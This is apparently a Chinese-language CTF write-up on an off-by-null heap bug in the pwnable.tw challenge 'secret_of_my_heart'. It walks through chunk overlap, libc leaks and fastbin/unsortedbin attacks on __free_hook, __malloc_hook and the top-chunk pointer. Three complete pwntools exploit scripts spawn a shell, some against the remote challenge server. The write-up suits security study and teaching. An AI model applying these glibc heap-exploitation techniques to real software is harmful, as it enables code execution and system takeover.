前言
最近仔细研究了off by null漏洞,对off by null的漏洞利用有了一定的认识。希望大家能从我这篇文章中学到点东西,这是我的荣幸,也希望各位大佬指正。
对off by null漏洞的思考来自于pwnable.tw中的secret_of_my_heart一题,这是一个非常典型并且简单的off by null的题目,所以这里就用这道题举例子。
首先介绍一下这道题
检查
该程序一共有三个功能
分别是add、delete和show功能。
程序刚开始使用mmap函数申请了一块内存:
这里的mmap出的内存里面主要作用是用来存放一个个secret结构体
sercet的结构体如下:
下面看一下add函数
漏洞点在add函数中的input_str函数中
红框中的代码有泄露漏洞,可以泄露堆的地址
而蓝框中的代码则是在输入的最后加上字节”\x00″,这样就造成了offbynull漏洞。
看一下show函数的内容:
再看一下delete函数中的内容:
我大概总结了一下这道题的思路:
1、可以通过unsortedbin attack写入到free_hook上方,然后利用fastbin attack写入system的地址,从而拿到shell;
2、可以通过fastbin attack修改malloc_hook为one_gadget,然后利用malloc_printerr触发malloc;
3、可以通过fastbin attack修改_IO_FILE文件结构体的vtable中的函数地址为one_gadget来拿到shell;
4、可以通过fastbin attack修改top chunk指针来劫持top chunk,拿到shell;
介绍一下这道题思路的具体实现
首先第一种思路的实现
这是exp中的各个函数
首先先去申请5个chunk和泄露堆的地址,大小分别有0x68和0xF8的
然后进行chunk overlap
这里的大概思路是,通过3号chunk去溢出4号chunk的prevsize和size,使得当释放4号chunk时,去合并0-3号chunk。这里为了绕过unlink中出现的crash,我们需要先将0号chunk给free掉。 ![](YinXiangBiJi.enexfiles/chunkoverlap.png)
这里需要说一下,p64(0x0)+p64(0x71)+p64(attack_heap)+p64(0x00)是为后面unsortedbin attack做准备,所以可以暂时忽略,后面的p64(0x100+0x100+0x70+0x70)是伪造的prev_size,这样去free掉4号chunk就可以将0-4号chunk合并并放入unsortedbin中。
特别说明一下,attack_heap的地址为0x562b0fa382c0。
可以看到,这里已经实现了我们的目的。
然后进行libc地址泄露
我们已经将0-4号合并的chunk放到了unsortedbin中,但1号chunk实际上并没有被我们free过,所以我们把在unsortedbin中的0号chunk申请掉,malloc就会切割chunk,并将unsortedbin的地址放到1号chunk里面,这时候我们去show1号chunk就可以得到unsortedbin地址了。
我们已经将libc地址泄露了,接下来我们该如何利用这些chunk拿到shell呢?
首先,我们先去free掉2号chunk,使得2号chunk放入fastbin中,那么现在堆的布局是怎样的呢?我们来看一下。
这样我们就可以通过去unsortedbin中取得内存,来控制0x562b0fa38200中的内容了。
首先new一个0xE8大小的内存。
然后通过new一块0x70+0x70大小的chunk,控制0x562b0fa38200中的prev_size为0,size为0x71,fd为attack_heap,也就是0x562b0fa382c0。
看一下0x562b0fa382c0中的情况
为什么0x562b0fa382c0中为什么回事这样呢,还记得前面吗?
这里我们对0x562b0fa382c0写入了p64(0x0)+p64(0x71)+p64(attack_heap)。
这样,fastbin中就有了三个chunk,分别是0x562b0fa38200,0x562b0fa382c0,0x562b0fa382c0。
接下来我们将0x562b0fa38200申请出来,然后通过申请0x562b0fa382c0这个chunk改变第二个0x562b0fa382c0的fd和unsortedbin中的chunk的bk。从而进行fastbin attack和unsortedbin attack。
这样就可以拿到shell了。
exp.py如下:
from pwn import *
#context.log_level = "debug"
local = True
if local:
p = process("./secret\_of\_my_heart")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
bin_offset = 0x3C4B20 + 0x58
else:
p = remote("chall.pwnable.tw","10302")
libc = ELF("./libc_64.so.6")
bin_offset = 0x3C3B20 + 0x58
elf = ELF("./secret_of_my_heart")
def new(size,name,secret):
p.sendlineafter("choice :",str(1))
p.sendlineafter("Size of heart : ",str(size))
p.sendafter("Name of heart :",name)
p.sendafter("secret of my heart :",secret)
def show(index):
p.sendlineafter("choice :",str(2))
p.sendlineafter("Index :",str(index))
def free(index):
p.sendlineafter("choice :",str(3))
p.sendlineafter("Index :",str(index))
new(0xF8,"a"*0x20,"aaaa")#0 100
new(0xF8,"b"*0x20,"bbbb")#1 100
show(1)
p.recvuntil("b"*0x20)
heap_addr = u64(p.recvline()[:-1].ljust(0x8,"\x00"))
success("heap_address ===> " + hex(heap_addr))
new(0x68,"c"*0x20,"cccc")#2 70
new(0x68,"d"*0x20,"dddd")#3 70
new(0xF8,"d"*0x20,"dddd")#4 100
new(0xF8,"padding\n","padding\n")#5
free(0)
free(3)
offset = 0x55a9d344a2c0 - 0x55a9d344a110
attack_heap = heap_addr + offset
new(0x68,"d"*0x20,"d"*0x40 + p64(0x0) + p64(0x71) + p64(attack_heap) + p64(0x00) + p64(0x100+0x100+0x70+0x70)) #0
free(4)
new(0xF8,"a"*0x20,"aaaa")#3
show(1)
p.recvuntil("Secret : ")
bin_addr = u64(p.recvline()[:-1].ljust(0x8,"\x00"))
libc.address = bin_addr - bin_offset
free_hook = libc.symbols['__free_hook']
success("libc_address ===> " + hex(libc.address))
success("system_address ===> " + hex(libc.symbols['system']))
success("__free_hook ===> " + hex(free_hook))
free(2)
log.info("attack_heap_address ===> " + hex(attack_heap))
new(0xE8,"test","test") #2
new((0x70+0x70),"attack",p64(0x00)+p64(0x71)+p64(attack_heap)) #4
new(0x68,"test","/bin/sh\x00") #6
new(0x68,"attack",p64(free_hook-0x43) + "\x00" * 0x10 + p64(0x101)+p64(0xdeadbeef)+p64(free_hook-0x50))
new(0xF8,"attack","attack")
#unsorted bin attack
payload = "\x00" * 0x33 + p64(libc.symbols['system'])
new(0x68,"attack","attack")
new(0x68,"attack",payload)
free(6)
p.interactive()
第一种思路实际上是我当时做这个题的时候瞎想的,因为one_gadget修改成__malloc_hook并不能生效,所以没办法只能去修改__free_hook,这种方法非常麻烦且低效。后来拿到flag之后去看大佬们的博客,发现我真的是弱爆了。
第二种思路和第三种思路实际上是针对one_gadget修改成__malloc_hook触发不成功而产生的。
这里只实现第二种,因为第二种思路和第三种思路差不多,只是one_gadget写入的地方不一样。而且我觉得第二种应该是最容易实现的思路了。
第二种思路
首先,老办法泄露Libc的地址:
和第一个思路的泄露方法一样的,只是这边new的5个chunk的大小有点不一样而已。
接下来进行fastbin dup:
开始进行攻击并且free掉6号chunk触发malloc_printerr。
最后拿到shell
exp.py如下:
from pwn import *
#context.log_level = "debug"
local = False
if local:
p = process("./secret\_of\_my_heart")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
bin_offset = 0x3C4B20 + 0x58
one_gadget = 0xf02a4
else:
p = remote("chall.pwnable.tw","10302")
libc = ELF("./libc_64.so.6")
bin_offset = 0x3C3B20 + 0x58
one_gadget = 0xef6c4
elf = ELF("./secret_of_my_heart")
def new(size,name,secret):
p.sendlineafter("choice :",str(1))
p.sendlineafter("Size of heart : ",str(size))
p.sendafter("Name of heart :",name)
p.sendafter("secret of my heart :",secret)
def show(index):
p.sendlineafter("choice :",str(2))
p.sendlineafter("Index :",str(index))
def free(index):
p.sendlineafter("choice :",str(3))
p.sendlineafter("Index :",str(index))
new(0xF8,"a"*0x20,"aaaa") #0
new(0x68,"b"*0x20,"bbbb") #1
new(0xF8,"c"*0x20,"cccc") #2
new(0xF8,"d"*0x20,"dddd") #3
new(0xF8,"e"*0x20,"eeee") #4
free(2)
free(0)
new(0xF8,"c"*0x20,"c"*0xF0 + p64(0x100*2+0x70)) #0
free(3)
new(0xF8,"a"*0x20,"aaaa") #2
show(1)
p.recvuntil("Secret : ")
bin_addr = u64(p.recvline()[:-1].ljust(0x8,"\x00"))
libc.address = bin_addr - bin_offset
malloc_hook = libc.symbols['__malloc_hook']
one_gadget = libc.address + one_gadget
success("libc_address ===> " + hex(libc.address))
success("__malloc_hook ===> " + hex(malloc_hook))
success("shell_address ===> " + hex(one_gadget))
new(0x68,"b"*0x20,"bbbb") #3
new(0x68,"c"*0x20,"cccc") #5
#fastbin dup
free(1)
free(5)
free(3)
new(0x68,"d"*0x20,p64(malloc_hook-0x23)) #6
new(0x68,"e"*0x20,"eeee") #7
new(0x68,"f"*0x20,"ffff") #8
payload = "\x00"*0x13 + p64(one_gadget)
new(0x68,"fastbin attack",payload)
#getshell
free(6)
p.interactive()
接下来介绍第四种思路的实现,因为思路挺好的,所以就算实现麻烦点,也是无所谓。
第四种思路
具体思路如下:
首先,我们知道,__malloc_hook和main_arena其实是相邻的,并且main_arena里面有一个指向top chunk的指针。这样的话我们可以先fastbin dup去申请到__malloc_hook-0x23这块内存,然后往main_arena里面写入0x70,再用fastbin attack得到main_arena,控制top chunk的指针指向__free_hook上方,然后再去不断申请内存直至申请到__free_hook。
__malloc_hook和main_arena的位置如下:
利用__malloc_hook-0x23的0x7f来使用fastbin dup控制红框中的内容,往红框里面写入0x70,再进行一次fastbin attack就可以控制指向top chunk的指针,这里0x55e274cc0470就是topchunk的地址。红框内是fastbin数组,可以利用这个进行二次fastbin attack。
来看一下我们伪造topchunk的size。
__free_hook地址-0xb58的位置,红框内可以作为我们伪造的top chunk的size。我们只需要将指向top chunk的指针指向__free_hook地址-0xb58的位置就可以了。
exp.py如下:
from pwn import *
#context.log_level = "debug"
local = False
if local:
p = process("./secret\_of\_my_heart")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
bin_offset = 0x3C4B20 + 0x58
one_gadget = 0xf02a4
else:
p = remote("chall.pwnable.tw","10302")
libc = ELF("./libc_64.so.6")
bin_offset = 0x3C3B20 + 0x58
one_gadget = 0xef6c4
elf = ELF("./secret_of_my_heart")
def new(size,name,secret):
p.sendlineafter("choice :",str(1))
p.sendlineafter("Size of heart : ",str(size))
p.sendafter("Name of heart :",name)
p.sendafter("secret of my heart :",secret)
def show(index):
p.sendlineafter("choice :",str(2))
p.sendlineafter("Index :",str(index))
def free(index):
p.sendlineafter("choice :",str(3))
p.sendlineafter("Index :",str(index))
new(0xF8,"a"*0x20,"aaaa") #0
new(0x68,"b"*0x20,"bbbb") #1
new(0xF8,"c"*0x20,"cccc") #2
new(0xF8,"d"*0x20,"dddd") #3
new(0xF8,"e"*0x20,"/bin/sh\x00") #4
free(2)
free(0)
new(0xF8,"c"*0x20,"c"*0xF0 + p64(0x100*2+0x70)) #0
free(3)
new(0xF8,"a"*0x20,"aaaa") #2
show(1)
p.recvuntil("Secret : ")
bin_addr = u64(p.recvline()[:-1].ljust(0x8,"\x00"))
libc.address = bin_addr - bin_offset
free_hook = libc.symbols['__free_hook']
malloc_hook = libc.symbols['__malloc_hook']
main_arena = bin_addr - 0x58
success("libc_address ===> " + hex(libc.address))
success("system_address ===> " + hex(libc.symbols['system']))
success("__free_hook ===> " + hex(free_hook))
new(0x68,"b"*0x20,"bbbb") #3
new(0x68,"c"*0x20,"cccc") #5
#fastbin dup
free(1)
free(5)
free(3)
new(0x68,"b"*0x20,p64(malloc_hook-0x23))
new(0x68,"c"*0x20,"cccc")
new(0x68,"d"*0x20,"dddd")
payload = "\x00" * 0x13
payload += "\x00" * 0x40
payload += p64(main_arena+48)
payload += p64(0x71)
new(0x68,"e"*0x20,payload)
new(0x68,"f"*0x20,p64(0x00)*3+p64(free_hook-0xb58))
new(0x100,"padding\n","padding")
new(0x100,"padding\n","padding")
new(0x100,"padding\n","padding")
new(0x100,"padding\n","padding")
for i in range(7):
new(0x100,"padding\\n","padding")
new(0x100,"padding\n","\x00"*0xa8+p64(libc.symbols['system']))
free(4)
p.interactive()
总结
实际上,off by null漏洞就是通过chunk overlap来实现UAF,所以这个东西本质上就是UAF。既然是UAF,所以拿到shell的思路或许还有不少。
附上参考链接:
http://tacxingxing.com/2018/02/20/pwnabletw-secretofmyheart/
https://veritas501.space/2018/03/04/pwnable.tw%2011~18%E9%A2%98%20writeup/